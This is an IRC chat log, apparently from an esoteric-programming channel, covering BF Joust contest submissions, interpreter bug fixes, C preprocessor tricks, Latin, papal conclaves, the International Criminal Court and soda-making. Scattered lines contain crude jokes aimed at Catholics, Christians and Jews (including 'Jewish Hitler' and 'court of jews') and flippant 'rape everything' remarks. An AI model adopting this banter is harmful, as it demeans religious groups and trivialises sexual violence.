19:18:27 <Gregor> !bfjoust return_of_myndzi_careful >+++++++++++++++++++++++++>+++++++++++++++++++++++++>+++++++++++++++++++++++++>------------------------->------------------------->------------------------->>((>[-[++[(-.)*2((-)*28(.-)*4)*4{}]]])%21)*21
19:19:57 <EgoBot> Score for Gregor_return_of_myndzi_careful: 32.5
19:20:23 <Gregor> !bfjoust return_of_jix_wiggle3 http://sprunge.us/MGOR
19:20:33 <ais523> Gregor: is egobot still running egojoust?
19:20:34 <EgoBot> Score for Gregor_return_of_jix_wiggle3: 36.0
19:20:50 <fizzie> Oh, incidentally, gear doesn't differentiate between the * and % delimiters at all; if there's a {} directly inside a () block, it gets turned into a (..{..}..) construct.
19:20:54 <Gregor> ais523: No.
19:21:08 <ais523> ah, if I hadn't been up for over 24 hours I'd go fix my programs now
19:21:14 <ais523> as it is, you'll have to wait until later
19:23:58 <Gregor> !bfjoust return_of_impomatic_spookygoth (>(+)*7)*2(>+++>+++)*3(>([+{[(-)*7([-{[(-)*122[-]]}])%5]}])%6>([+{[(-)*7([-{[(-)*122[-(])*14)*10>([-{[(+)*7([+{[(+)*122[+]]}])%5]}])%6]}])%5]}])%6[-]
19:24:03 <EgoBot> Score for Gregor_return_of_impomatic_spookygoth: 0.0
19:24:04 <Gregor> (That might be wrong :P )
19:24:09 <Gregor> Bleh
19:24:13 <Gregor> spookygoth is a mess X-D
19:24:46 <Gregor> ais523: defend14 is the only one that needs fixing.
19:25:23 <ais523> it'll be fixed eventually
19:25:38 <ais523> defend9.75 also needs fixing for a different reason, although it may be under a different name at this rate
19:26:55 <fizzie> When you hit defend9.9990234375 (which is just 10-(1/2)^10, i.e. not so many iterations) the name is starting to be a bit silly.
19:27:14 <Gregor> fizzie: Feel like fixing impomatic_spookygoth? :P
19:27:38 <fizzie> Gregor: hg clone http://codu.org/eso/bfjoust/in_egobot/ hill → "updating to branch default ... abort: 00manifest.i@4ce17470b7c9: no node!". That was strange.
19:27:51 <Gregor> fizzie: That ... is strange.
19:27:58 <fizzie> I could try, if only for the reason that I'd get my name on the list that way.
19:29:15 <Gregor> fizzie: I don't suppose you have an expander sittin' around somewhere.
19:30:47 <fizzie> !bfjoust return_of_impomatic_spookygoth http://p.zem.fi/spookyfix
19:31:00 <EgoBot> Score for fizzie_return_of_impomatic_spookygoth: 30.8
19:31:08 <fizzie> Unfortunately not; I kept putting that off until later all the time.
19:31:24 <fizzie> (That was done by manual expansion.)
19:31:58 <Gregor> I was trying to replace ()...() with ({...}), but I suppose for spookygoth that doesn't work :P
19:32:13 <Gregor> !bfjoust furry_furry_strapon_pegging_girls http://sprunge.us/CCAN
19:32:18 <EgoBot> Score for Gregor_furry_furry_strapon_pegging_girls: 68.0
19:32:47 <Gregor> Why did that go down, it should've been identical except using nested (... wait, I did that wrong.
19:33:03 <fizzie> Yeah, it does that ([+)*6 ... ([-)*5 ... some other [s ... (])*14 thing, which isn't so easily covertible.
19:33:07 <Gregor> !bfjoust furry_furry_strapon_pegging_girls http://sprunge.us/jMbE
19:33:10 <EgoBot> Score for Gregor_furry_furry_strapon_pegging_girls: 69.8
19:33:25 <Gregor> fizzie: Do you support (({{}})) nesting, btw?
19:33:35 <fizzie> It *should* work, but it's not tested.
19:34:04 <fizzie> I've tested that the parser does parse those correctly -- well, up to two levels deep, anyway -- but I'm not entirely certain about the interpreting. By my logic it should work.
19:34:37 <Gregor> Interpreting it is no different from interpreting any other ({}) loop, so long as you have the inner {} associated with the outer () properly.
19:34:39 <fizzie> I didn't really have any real nested-{{}} programs to test against, I just tried one real trivial test case and compared traces.
19:40:09 <Gregor> OK, banana soda: Banana extract is not strong enough to overpower the citric acid, HOWEVER, banana-citrus soda is a TROPICAL DELIGHT
19:42:15 <cheater00> heh someone put minecraft in the AUR
19:43:10 <fizzie> Minecraft is in the Ubuntu Software Center, isn't it?
19:43:43 <fizzie> In the "canonical partners" repository, I think.
19:43:54 <fizzie> Or somewhere.
19:44:21 <fizzie> (I think it was shown in some Software Center screenshot.)
19:45:51 <Phantom_Hoover> "In most American states it is perfectly legal to keep a monkey." — TV
20:04:24 <Vorpal> I'm afraid I decoded the Maya thing.
20:04:27 <Vorpal> They were off by one
20:05:18 <Vorpal> What they were counting down to was IPv4 exhaustion.
20:12:25 -!- zzo38 has joined.
20:17:36 <cheater00> NEW WORLD ORDER!!!
20:19:07 <oerjan> now reverse lexicographical by the arabic alphabet
20:19:26 <oerjan> oh and the reverse is for the alphabet, not the letters
20:20:23 <Vorpal> cheater00, they weren't counting with the lazy modern ISPs
20:20:24 <oerjan> er
20:20:41 <oerjan> *not the letters in words
20:21:02 <fizzie> Gregor: Please to be fetching http://zem.fi/~fis/gearlance.c again; there was a really stupid gaffe for the [ handling for the right player. (I *know* they're supposed to use the tape value at the start of the cycle, I had it just fine in chainlance, I could swear I had it right in some point in cranklance too, but now it was wrong.)
20:21:04 <Vorpal> <cheater00> heh someone put minecraft in the AUR <-- err what
20:21:24 <fizzie> Gregor: Also if you have some good command for rerunning the hill with the new code, that might be a good idea. :p
20:21:32 <cheater00> Vorpal: yeah, that's what i thought too
20:21:38 <cheater00> after all why would someone put it there
20:21:58 <fizzie> Gregor: (Noticed this when I got asymmetric results for gearlancing "foo vs bar" and "bar vs foo".)
20:22:49 -!- augur has quit (Remote host closed the connection).
20:22:55 <Vorpal> fizzie, how could it differ so much between the players?
20:23:51 <fizzie> Vorpal: Somehow I had managed to stupidly use the current tape value also in B player's [ and ] instructions, instead of the cached copy of tape-as-start-of-the-cycle. Mea maxima culpa. I have no excuse.
20:24:52 <Vorpal> fizzie, wouldn't that be maximus?
20:25:05 <cheater00> minimus
20:25:07 <fizzie> Could be; I don't really speak latin.
20:25:11 <Gregor> !bfjoust rerun_the_hill <3
20:25:12 <Vorpal> fizzie, nor do I
20:25:21 <cheater00> it's actually the way fizzie said it
20:25:23 <fizzie> To emphasize the message, the adjective "maxima" may be inserted, resulting in "mea maxima culpa," which would translate as "my most [grievous] fault."
20:25:27 <fizzie> Yeah, wp seems to agree.
20:25:31 <Vorpal> Gregor, that won't rerun /all/ of it?
20:25:40 <Vorpal> fizzie, ah
20:25:40 <Gregor> Vorpal: I trashed the cache.
20:25:46 <EgoBot> Score for Gregor_rerun_the_hill: 0.0
20:25:48 <Vorpal> Gregor, ah
20:25:52 <Vorpal> !bfjoust
20:25:52 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
20:26:25 <Vorpal> fizzie, how goes elliott's plain lance?
20:26:58 <fizzie> Vorpal: No news, elliott hasn't been here at all; so Gregor jumped the... is it gun? Well, jumped the something.
20:27:04 <fizzie> Shark. No, not that.
20:27:09 <Vorpal> fizzie, jumped the lance
20:27:38 <Gregor> I jumped no gun. elliott has officially taken way too damned long.
20:27:41 <oerjan> <Vorpal> fizzie, wouldn't that be maximus? <-- no. the -a ending shows that the words agree in gender.
20:27:48 <fizzie> Gregor: I like your "parse error is a tie" handling; <3 manages to die with the old careless.
20:28:01 <fizzie> s/die/tie/
20:28:58 <oerjan> (also case and number, but that's the same for maximus)
20:29:10 <Vorpal> fizzie, how does gear/crank/chain-lance differ?
20:29:29 <pikhq> fizzie: I dispute your orthographic choices!
20:29:40 <pikhq> fizzie: "MEA MAXIMA CVLPA", man.
20:29:52 <pikhq> And fuck the Catholics.
20:30:07 <Vorpal> pikhq, correction: fuck the Christians.
20:30:22 <oerjan> (also not all words use -a for the feminine nominative singular ending, but i think it's the most common one.)
20:30:42 <pikhq> Vorpal: It's the Roman Catholics in particular that are responsible for the abuse of Latin.
20:30:52 <fizzie> Vorpal: chainlance is the "translate to handcrafted assembler with everything in registers" thing that was supposed to be fast but wasn't (think "chainsaw"); cranklance is the threaded-goto-style C interpreter reimplementation for my plotting purposes (think "hand-cranked chainsaw"); gearlance is cranklance but with the useless statistics code dropped off (think "oh uh huh weird, my names are all bicycle-themed already, let's go with that theme").
20:31:07 <pikhq> The other pre-Luther churches used completely different liturgical languages.
20:31:36 <Vorpal> fizzie, ah
20:31:36 <zzo38> You think they are abuse?
20:31:54 <Vorpal> oerjan, shouldn't a male use a masculine form of that then?
20:31:54 <pikhq> zzo38: They certainly abused Latin.
20:31:55 <zzo38> There are a few different Latin used sometimes?
20:33:05 <oerjan> Vorpal: it's the noun culpa that determines that
20:33:29 <Vorpal> ah
20:33:53 <fizzie> Vorpal: Ah, here's the screenshot I saw when they were advertising Ubuntu 10.10: http://pics.webchimp.me.uk/minecraft/ubuntu10.10_supported_games.png -- but Minecraft is not in the Software Center now, so... *shrug*.
20:34:13 <fizzie> (Perhaps they just wanted to cash in the hype.)
20:34:22 <pikhq> zzo38: Church Latin uses Italian phoneme values.
20:34:25 <pikhq> Which is WRONG.
20:35:50 <zzo38> Yes I think it is wrong.
20:36:09 <zzo38> But it is the kind of Latin the church decide to make and use.
20:37:20 <pikhq> Because it's in freaking Italy.
20:38:05 <zzo38> It is in Vatican City, which is its own country. But it is in Italy. Which is why they can speak Italian.
20:39:31 <pikhq> Freaking church gettings its own country.
20:40:08 <zzo38> Perhaps they require their own laws, which is why they need their own country?
20:41:21 <oerjan> zzo38: the pope was pretty pissed off about not being independent during the time the vatican was part of italy
20:41:27 -!- augur has joined.
20:41:40 <zzo38> oerjan: Why? Is it because they required their own laws?
20:43:39 <pikhq> zzo38: Historically, the Vatican was the government of much of what is modern-day Italy.
20:43:42 <pikhq> The Papal States.
20:43:57 <oerjan> zzo38: i would think it's because the catholic church considers itself more important than countries, and so consider it insulting for its headquarters to be bound by some other country's laws. also many people have tried to manipulate the pope/church during history (and vice versa, the popes were no saints (that's a joke, because officially by the church some _were_))
20:44:02 <oerjan> *-)
20:44:32 <oerjan> incidentally part of the treaty with italy was that the vatican should _stop_ interfering in world politics
20:45:29 <oerjan> er, *-*-)
20:46:29 <Gregor> OK, banana-citrus soda was pretty darn good, but I'm now trying replacing half of the banana with an orange-lemon-anise blend.
20:46:37 <Gregor> This should be a TROPICAL EXPLOSION OF AWESOME
20:47:10 <oerjan> are you sure this doesn't count as Tastes Man Was Not Meant To Know?
20:47:23 <Gregor> Banana-orange-lemon is hardly a rare combo.
20:47:25 <zzo38> If you want it exploding then you should add bombs too! Now we have banana-orange-lemon-anise-cirtus-bombs-soda.
20:47:32 <Gregor> Anise should just add some depth and warmth to it.
20:50:53 <zzo38> I have read of a game which is cross between Chess and Ultima, called Stupid. There are three variants: Pure Stupid, Total Stupid, and Plane Stupid.
20:52:10 <pikhq> oerjan: Well, the Vatican was only not a government unto itself for a few decades...
20:52:20 <pikhq> Erm, unless you go back to the 600s.
20:52:40 <zzo38> pikhq: What kind of government is it?
20:52:50 <pikhq> zzo38: Monarchy.
20:53:03 <Gregor> Theocracy :P
20:53:18 <pikhq> Gregor: Well, yes.
20:53:26 <ais523> it's an appointed, rather than hereditary, monarchy
20:53:31 <ais523> is there a separate name for that?
20:53:33 <oerjan> in practice, absolutist monarchy
20:53:47 <pikhq> ais523: s/appointed/elected/
20:54:02 <pikhq> Though the electors *themselves* are appointed.
20:55:10 <ais523> pikhq: it isn't exactly an election
20:55:22 <ais523> because the people whose choice it is are all locked in a room until they come to a unanimous decision
20:56:54 <Gregor> Let's lock everyone in the USA in a room until they unanimously decide on a president.
20:57:07 <zzo38> I guess they want to be *really sure* of it. But what if they cannot agree? Then it won't work very well because one guy might starve to death or be threatened as such. Or, will try to throw the other guy out the window?
20:57:18 <ais523> Gregor: that would be hilarious
20:57:31 <ais523> zzo38: I think the idea is that they'll agree to anyone rather than starve to death
20:57:56 <pikhq> IIRC food is brought in by dumbwaiter.
20:58:00 <oerjan> 1870-1929
20:58:12 <Gregor> ais523: With the US, all the fit, healthy people would die first since they have no fat on them, leaving the moribund critically obese people to all vote for the republican.
20:59:05 <zzo38> Well, some person there will not like the dumbwaiter, and so will try to prevent receiving food in that way.
20:59:13 <oerjan> i'm not sure the decision is unanimous, actually
21:01:19 <oerjan> it seems like it starts as 2/3 and goes down after seven ballots
21:01:22 <pikhq> Ah, they just allow a limited number of servants in for things.
21:01:52 <oerjan> um wait, there's more than seven before that point
21:01:54 <ais523> oerjan: how a) practical, b) boring
21:02:08 <ais523> can it ever go below 50%+1?
21:02:09 <oerjan> http://en.wikipedia.org/wiki/Papal_conclave#Voting
21:02:26 <oerjan> ais523: the number of candidates is reduced to two as well, so that's probably not necessary
21:02:38 -!- elliott has joined.
21:02:46 <elliott> A new predefined macro __COUNTER__ has been added. It expands to sequential integral values starting from 0. In conjunction with the ## operator, this provides a convenient means to generate unique identifiers.
21:02:52 -!- elliott has quit (Client Quit).
21:03:00 <oerjan> of course these are the current rules, the pope can and has changed them many times, i believe
21:03:24 <zzo38> elliott: In C? I guess that work
21:03:28 <ais523> hmm, that predef could be really useful in C-INTERCAL
21:03:42 <zzo38> Why they just write one message and quit?
21:03:43 <ais523> at the moment, it does more or less exactly that, but by running its own preprocessor over the preprocessed C source
21:04:04 <ais523> however, it needs to generate each identifier exactly twice
21:04:21 <ais523> and I'm not sure if there's an obvious way to do that with __COUNTER__, as you can't do arithmetic inside token pasting
21:04:37 <zzo38> Currently I can just write a interpreted code in Enhanced CWEB to do that. And also doing arithmetic with it, too.
21:05:10 <zzo38> (Since it allows you to add additional preprocessors before the C preprocessor)
21:05:13 -!- Wamanuz5 has quit (Read error: Connection reset by peer).
21:05:26 -!- Wamanuz5 has joined.
21:06:29 -!- elliott has joined.
21:06:33 <elliott> ais523: easy
21:06:37 <elliott> #define foo() foo_(__COUNTER__)
21:06:39 <elliott> #define foo_(id) ...
21:06:53 <ais523> err, does that work?
21:06:57 <elliott> yes
21:07:06 <elliott> the expansion goes foo_(__COUNTER__) -> foo_(34) ->
21:07:08 <elliott> ...
21:07:12 <elliott> ais523: just like you can do
21:07:21 <elliott> #define stringify(x) stringify_(x)
21:07:21 <ais523> oh, but the pairs might not be in logically related contexts in the source
21:07:23 <zzo38> You don't do arithmetic like that? Except in #if and stuff like that, you don't do arithmetic with preprocessor
21:07:24 <ais523> otherwise it would be easy
21:07:24 <elliott> #define stringify_(x) #x
21:07:39 <elliott> ais523: hmm
21:07:44 <ais523> preprocessor arithmetic only happens inside #if conditions
21:08:10 <ais523> so you can't do the arithmetic in the preprocessor full stop as you can't return anything but a boolean, nor can you do it at compile time because then it's too late to do token pasting
21:08:12 <zzo38> ais523: Yes, that is my point.
21:08:22 <elliott> ais523: untrue
21:08:28 <elliott> chaos-pp has libraries for arithmetic in cpp
21:08:31 <elliott> that can output as plain decimals
21:08:33 <elliott> in the code
21:08:40 <elliott> (note: chaos-pp is completely insane)
21:08:50 <ais523> elliott: oh, via the emulate-an-ALU-using-#defines method?
21:08:59 <ais523> I'm pretty sure someone submitted that to the IOCCC once
21:09:02 <elliott> ais523: no
21:09:11 <elliott> ais523: It's advanced enough to have multiple types of list and recursion, and it even supports _bignums_
21:09:16 <elliott> (there's a fibonacci written in chaos-pp)
21:09:37 <zzo38> elliott: Yes but I do not think you can take actual numbers as input with it? Since it cannot do preprocessor with actual numbers. WIth faking it, you can do it, for sure. So chaos-pp might be good for faking it.
21:09:54 <elliott> zzo38: what?
21:09:56 <elliott> no, you can do
21:09:58 <zzo38> They are not the same numbers used in normal C codes.
21:09:58 <elliott> foo(42) -> 43
21:10:00 <elliott> as a macro
21:10:01 <elliott> yes, they are
21:10:15 <elliott> I think with the "42" form it only supports up to 512 for _input_
21:10:20 <elliott> so you'd need (4 2) for more, I think
21:10:45 <zzo38> elliott: See? That is what I meant. It is limited and cannot use the same numbers as the C codes except in very limited way.
21:11:07 <elliott> zzo38: you could easily make 2^32 preprocessor defines
21:11:09 <elliott> and cover the whole 32-bit range
21:11:18 <zzo38> Still, if you need bignums, that is how you do it.
21:11:26 <zzo38> elliott: That is how you waste memory!!!
21:11:41 <elliott> what?
21:11:46 <elliott> well in the preprocessor sure.
21:12:11 <zzo38> Yes, there will not be enough memory in a 32-bit computer for the preprocessor!!
21:12:31 <elliott> !!!!!!!!!
21:12:35 <elliott> You only need one exclamation mark.
21:12:38 <pikhq> zzo38: Good thing I have a 64-bit computer.
21:12:39 <pikhq> :P
21:12:54 <elliott> pikhq: Or an OS that can swap.
21:13:37 <zzo38> Then you will need a 64-bit computer to compile 32-bit program.
21:13:57 <elliott> 64-bit programs can use 32-bit integers.
21:13:58 <elliott> zzo38: And: <elliott> pikhq: Or an OS that can swap.
21:14:54 <zzo38> And making 2^32 preprocessor defines will make the preprocessor very slow, isn't it?
21:15:08 <elliott> Define slow.
21:16:08 <zzo38> I mean it will take a long time to parse all of the definitions, since there is too many, and then the dictionary to search for the words will also be very large, even if it is very efficient.
21:16:18 -!- Wamanuz5 has quit (Ping timeout: 246 seconds).
21:16:26 -!- Wamanuz5 has joined.
21:16:35 <elliott> zzo38: It's just four billion.
21:16:37 <elliott> That's not much!
21:17:18 <zzo38> It may be four billion, but it still has to do a lot of things with each one.
21:17:18 -!- elliott has quit (Read error: Connection reset by peer).
21:17:39 -!- elliott has joined.
21:18:13 <zzo38> And even if you can swap, or have 64-bit computer, the preprocessor will still take up a very large amount of too much memory.
21:18:14 <pikhq> Who cares about efficiency, we're talking hypotheticals!
21:18:22 <elliott> <elliott> zzo38: It's just four billion.
21:18:23 <elliott> <elliott> That's not much!
21:18:41 <jayCampbell> you know who else liked efficiency
21:18:47 <elliott> Hitler?
21:18:52 <elliott> The Jews?
21:18:55 <elliott> Jewish Hitler?
21:19:03 <zzo38> O, hypothetical. In that case, yes it works.
21:19:04 <elliott> Jewish Robo-Hitler?
21:19:10 <jayCampbell> yeah that last one
21:19:11 <elliott> Robo-Jewish Robo-Hitler?
21:20:02 <oerjan> <zzo38> Then you will need a 64-bit computer to compile 32-bit program. <-- reminds me of some forms of the halting problem :)
21:20:42 <oerjan> (or well, i think they're called hierarchy theorems)
21:24:21 <elliott> hey oerjan, go prove some theorems about underload.
21:24:36 <oerjan> elliott: i've got one on the backburner
21:24:42 <elliott> EXCELLENT.
21:24:59 <elliott> ais523: you are BACKBURNED
21:25:26 <oerjan> basically trying to combine the ~ and ! (the simple one) eliminations to get rid of both simultaneously
21:25:58 <elliott> oerjan: that's not a theorem! theorems are COMPLICATED things
21:26:11 <oerjan> erm
21:26:18 <elliott> oerjan: try "underload with reverse-backtracking continuations forms a semigroup under equivalence of compressed results"
21:26:51 <oerjan> underload always forms a semigroup, that's sort of a given for concatenative languages
21:27:00 <elliott> oerjan: fine, FIELD then
21:27:02 <zzo38> Theorems are not always complicated things, I think
21:27:12 <elliott> "Underload forms a field under strong influence of bullshit."
21:27:21 <oerjan> THAT MIGHT BE
21:27:48 <ais523> I've been vaguely trying to prove Burro to form a cartesian closed category with only one object
21:27:58 <ais523> but in my head, which is a little hard as I can't remember all the axioms
21:28:08 <oerjan> ouch
21:29:11 <zzo38> Are you really sure that Burro programs form a group? Do Revaver2pi programs (without I/O) form a group? I do not know the answer to either question, although I can guess.
21:29:27 <ais523> zzo38: original Burro didn't, and I pointed out the mistake, and cpressey fixed it
21:30:14 <zzo38> ais523: Well, good. It is what I thought too. What exactly was changed?
21:30:22 <elliott> aaaaargh, ghc's line-handling sucks
21:30:43 <elliott> :t init
21:30:43 <lambdabot> forall a. [a] -> [a]
21:30:44 <thutubot> forall a. [a] -> [a]
21:31:08 <ais523> zzo38: the \ command, IIRC; previously \ cancelled out / but not vice versa
21:31:16 <oerjan> ais523: you might want to fix that thutubot lambdabot parsing
21:31:18 <ais523> it was fixed by making / self-inverse, instead
21:31:35 <ais523> oerjan: why? it's not like I take thutubot here often anyway
21:31:36 -!- thutubot has quit (Remote host closed the connection).
21:31:38 <zzo38> Yes, that is exactly what I thought was wrong, too.
21:31:48 <oerjan> ais523: well no but lambdabot seems to be permanent now
21:32:05 <oerjan> and it _should_ just be a case of checking the recipient...
21:32:36 <elliott> <oerjan> MAINTAIN THUTU CODE
21:32:58 <oerjan> elliott: well i mean it _ought_ to be just a single regexp
21:33:03 <ais523> elliott: at least Thutu isn't massively unmaintainable
21:33:21 <ais523> it's relatively readable as esolangs go, in the sense of "if you know the lang you can read someone else's program in it, sort of"
21:34:29 <oerjan> +help
21:34:39 <oerjan> apparently no such thing
21:34:43 <oerjan> +?
21:35:07 <oerjan> WE DEMAND DOCUMENTATION. AND HELPDESK.
21:35:24 <oerjan> oh wait
21:37:37 <elliott> Main.hs: "<irc>" (line 1, column 32):
21:37:38 <elliott> uKnexpected " "
21:37:38 <elliott> O
21:37:39 <elliott> *O K
21:37:45 <elliott> lol "uKnexpected"
21:38:08 <oerjan> it clearly snapped up your K
21:38:09 -!- elliott has quit (Read error: Connection reset by peer).
21:38:19 <ais523> oerjan: IIRC, +help does exist
21:38:26 <ais523> but I parted the bot from the channel before you asked it
21:38:33 <oerjan> ais523: yeah yeah
21:38:34 <ais523> hmm, does your client not show join/part?
21:38:40 -!- elliott has joined.
21:38:40 <ais523> (actually, I quit it from the server)
21:38:48 <oerjan> ais523: what do you think the "uh wait" was about :D
21:38:54 <oerjan> *oh wait
21:39:09 <ais523> ah
21:40:00 <elliott> ais523: for your next trick, write featherbot
21:40:23 <jayCampbell> i made a NAND out of wool, torches and gravel
21:40:31 <ais523> elliott: Feather is massively bad at I/O
21:40:47 <elliott> ais523: meh, good enough
21:40:47 <jayCampbell> computing with FIRE
21:40:52 <ais523> I suppose I'll have to implement it eventually just because langs without I/O tend to be hard to tell they're working
21:41:01 <ais523> but I haven't put much consideration into how
21:41:09 <oerjan> CLEARLY NEEDS MONADS
21:45:38 <zzo38> I would like to know whether you think Revaver2pi programs without ! forms a group.
21:46:28 -!- pikhq has quit (Ping timeout: 240 seconds).
21:46:28 -!- pikhq_ has joined.
21:46:31 <Gregor> http://www.evitaminstore.com/index.php?target=categories&category_id=103 Which of these things needs to be soda?
21:47:06 <ais523> Gregor: is that your day job?
21:47:08 <elliott> disappointing lack of cannabis on that list :-P
21:47:11 <elliott> ais523: haha
21:47:16 <elliott> My day job is making random soda.
21:47:17 <ais523> also, my mind inserted an l after the evi
21:47:20 <elliott> But my night job is making random soda.
21:47:51 <zzo38> Gregor: Maybe mke with all of it mixed together, if you can do so, and then write report about it.
21:48:00 <Gregor> zzo38: Yeahno.
21:48:32 <elliott> glah, parsec can be a real bitch
21:48:33 <oerjan> ais523: i have that trouble with SATA
21:48:45 <ais523> heh
21:49:09 <pikhq_> Wow.
21:49:23 <oerjan> pikhq_ is astonished
21:49:29 <pikhq_> The US has a law on the books mandating that we *invade the Hague* if we are put on trial for war crimes by the International Court of Justice.
21:49:52 <pikhq_> Passed in 2002, and signed into law by Bush.
21:50:36 <pikhq_> Erm, International Criminal Court.
21:50:38 <Gregor> lawl
21:50:39 <pikhq_> That's the actual name.
21:50:54 <pikhq_> It also forbids us from giving military aid to any country party to the Court.
21:51:01 <elliott> Ha
21:51:09 <pikhq_> Except NATO members.
21:51:28 <elliott> ais523: challenge: write a PRNG macro using __COUNTER__
21:51:34 <pikhq_> Note: there are 34 countries *not* party to it.
21:51:37 <elliott> such that RAND evaluates to an integer expression
21:51:40 <elliott> :-D
21:52:31 <pikhq_> They are: Armenia, Monaco, Russia, Ukraine, Algeria, Angola, Cameroon, Cape Verde, Côte d'Ivoire, Egypt, Eritrea, Guinea-Bissau, Morocco, Mozambique, São Tomé and Príncipe, Sudan, Zimbabwe, Bahamas, Haiti, Jamaica, the United States, Bahrain, Iran, Israel, Kuwait, Kyrgyzstan, Oman, Philippines, Solomon Islands, Syria, Thailand, United Arab Emirates, Uzbekistan and Yemen.
21:52:43 -!- ais523 has quit (Remote host closed the connection).
21:52:58 <pikhq_> Erm, sorry. Those are signatories that haven't signed.
21:53:10 <pikhq_> Erm, that haven't ratified.
21:53:11 -!- elliott has quit (Read error: Connection reset by peer).
21:53:17 <pikhq_> There are *3* states that haven't signed.
21:53:27 <pikhq_> China, India, Pakistan.
21:53:39 -!- elliott has joined.
21:53:42 <elliott> fuck. this. connection
21:54:52 <oerjan> does this mean neither australia nor new zealand receives us military aid? >:)
21:55:13 <elliott> they just fight with kangaroos
21:56:16 <Gregor> And fuck sheep
21:56:17 <oerjan> oh not to mention japan and south korea...
21:56:24 <pikhq_> oerjan: Loophole allowing for "major non-NATO allies" to get aid.
21:58:11 * oerjan notes sudan is on the list of non-ratifiers
21:58:23 <oerjan> despite their president being indicted
21:58:50 <Phantom_Hoover> pikhq_, I love all those things which are signed by everyone but <list of 3rd world countries> and the US.
21:58:52 <elliott> pikhq_: How do I get GMP 4 on Debian? gcc 4.4 appears to require it.
21:59:04 <elliott> Even though this ships with gcc 4.4.something, I can't find a package.
21:59:18 <Gregor> elliott: apt-get build-dep gcc
21:59:18 <Gregor> :P
21:59:24 <elliott> Phantom_Hoover: third world countries like monaco
21:59:47 <elliott> Gregor: Yah, tried that, no GMP-like things appeared.
21:59:50 <elliott> Gregor: Which is bizarre.
21:59:59 <pikhq_> oerjan: The ICC claims a limited form of world-wild jurisdiction.
22:00:01 <Gregor> That ... is bizarre.
22:00:16 <elliott> Gregor: Now admittedly the version I'm trying to build is 0.0.1 versions ahead of the one this system ships with... but it doesn't mention upping any dependency in the changelog :P
22:00:26 <pikhq_> oerjan: The US managed to talk everyone down from giving them universal jurisdiction in the general case.
22:00:26 <elliott> GMP 3 is easily-available in the repos, but that's quite plainly not GMP 4.
22:00:34 <elliott> World-WILD
22:00:38 <pikhq_> Wide.
22:00:43 <Gregor> http://www.evitaminstore.com/index.php?target=categories&category_id=103 <-- does nobody have any suggestions for which of these need to be soda? :P
22:00:57 <elliott> Gregor: All of them plus BOMBS (suggestion courtesy of zzo38)
22:01:15 <pikhq_> Now, they have jurisdiction: where the person accused of committing a crime is a national of a state party (or where the person's state has accepted the jurisdiction of the court), where the alleged crime was committed on the territory of a state party (or where the state on whose territory the crime was committed has accepted the jurisdiction of the court), or where a situation is referred to the court by the UN Security Council.
22:01:20 <Gregor> Lamp oil, rope, bombs ... you want it?
22:02:30 <pikhq_> In addition to jurisdiction over any case of: genocide, crimes against humanity, war crimes, and wars of agression.
22:02:58 <pikhq_> If they had any balls, they'd attempt to exercise jurisdiction over Bush & co.
22:03:04 <oerjan> wait they do crimes _other_ than those?
22:03:11 <elliott> but they'd get invaded!!!
22:03:16 <elliott> oerjan: yes, they also do petty theft
22:03:28 <pikhq_> oerjan: If it gets referred up to them.
22:03:29 * oerjan swats elliott -----###
22:03:45 <pikhq_> oerjan: It's a court of last resort.
22:04:11 <elliott> so wait
22:04:16 <elliott> the us signed up for the ICC
22:04:17 <oerjan> i knew that, but i thought it was only a court of last resort for that kind of crimes
22:04:18 <elliott> but hates it? :D
22:04:25 <pikhq_> elliott: They signed and then didn't ratify.
22:04:29 <oerjan> elliott: precisely!
22:04:47 <elliott> "On 17 March 2006, Lubanga became the first person ever arrested under a warrant issued by the International Criminal Court."
22:04:51 <elliott> xD
22:04:55 <elliott> i'm imagining a very orderly arrest now.
22:05:32 <elliott> [[Some commentators have argued that the Rome Statute defines crimes too broadly or too vaguely. For example, China has argued that the definition of ‘war crimes’ goes beyond that accepted under customary international law.[31]]]
22:05:33 <elliott> oh china
22:05:35 <oerjan> <elliott> Gregor: All of them plus BOMBS (suggestion courtesy of zzo38) <-- TURKEY BOMBS SHOULD BE AN OBVIOUS ADDITION
22:05:35 <elliott> you so funny
22:05:49 <pikhq_> oerjan: Oh, they don't have jurisdiction over anything else.
22:06:04 <elliott> oerjan: now i need to find that joke meat energy drink site
22:07:28 <pikhq_> Oh, wait, yes they do.
22:07:45 <pikhq_> If the UN Security Council refers something to the ICC, the ICC has jurisdiction.
22:07:49 <elliott> pikhq_: there is /also/ an international court of jews, sorry, justice
22:07:49 <pikhq_> Even if it is petty theft.
22:07:58 <elliott> http://en.wikipedia.org/wiki/International_Court_of_Justice
22:08:00 <elliott> as a separate thing inside the UN
22:08:12 <elliott> lol "peace palace"
22:08:36 <pikhq_> Note that the US has veto in the UN Security Council.
22:09:22 <pikhq_> The US, in a show of dickishness, seems to have arranged it so they have no real reason to comply with any international law.
22:09:33 <pikhq_> Or, indeed, anything but "rape everything".
22:09:50 <elliott> WAR ON NOT RAPING EVERYTHING
22:10:07 <elliott> NEWSFLASH: NOT RAPING EVERYTHING WINS WAR ON NOT RAPING EVERYTHING
22:15:53 -!- elliott has quit (Quit: Leaving).
22:15:59 -!- elliott has joined.
22:17:03 * Phantom_Hoover thinks he just saw a YouTube comment complaining about how people don't see the human tragedies behind zombie apocalypses.
22:17:30 <elliott> what
22:17:50 <elliott> Clearly they have never seen Shaun of the Dead, also known as: THE MOST EMPATHY-FILLED ZOMBIE FILM EVER.
22:18:02 * Phantom_Hoover must torrent that some time.
22:18:04 <quintopia> it's so british
22:18:16 <elliott> It's so Simon Pegg X-P
22:18:19 <Phantom_Hoover> I've watched all of the decent Red Dwarf episodes.
22:18:45 <elliott> Haha, Wikipedia indirectly calls Shaun of the Dead a romantic comedy.
22:18:49 <elliott> "Shaun of the Dead is a 2004 British romantic zombie comedy"
22:18:56 <elliott> (Romantic zombie comedy: SOUNDS LIKE SOMETHING MUCH BETTER THAN IT MEANS)
22:19:07 <Gregor> First real multiflavor soda I've made: SO GOOD
22:19:48 <elliott> Phantom_Hoover: btw, unefunge fits your definition
22:19:58 * Phantom_Hoover facepalms
22:20:05 <elliott> ?
22:20:13 <Phantom_Hoover> How did I miss that...
22:20:19 <elliott> Phantom_Hoover: Miss what, Unefunge?
22:20:32 <Phantom_Hoover> Yes.
22:23:24 <elliott> oerjan: looks like j-invariant deleted their reddit account now
22:23:25 <elliott> HISTORY REPEATS ITSELF
22:23:54 <oerjan> :(
22:29:37 <oerjan> hm !()^ and sorta S are easy to remove ~! from, then it starts getting tricky
22:30:43 <oerjan> hm wait a is easy too
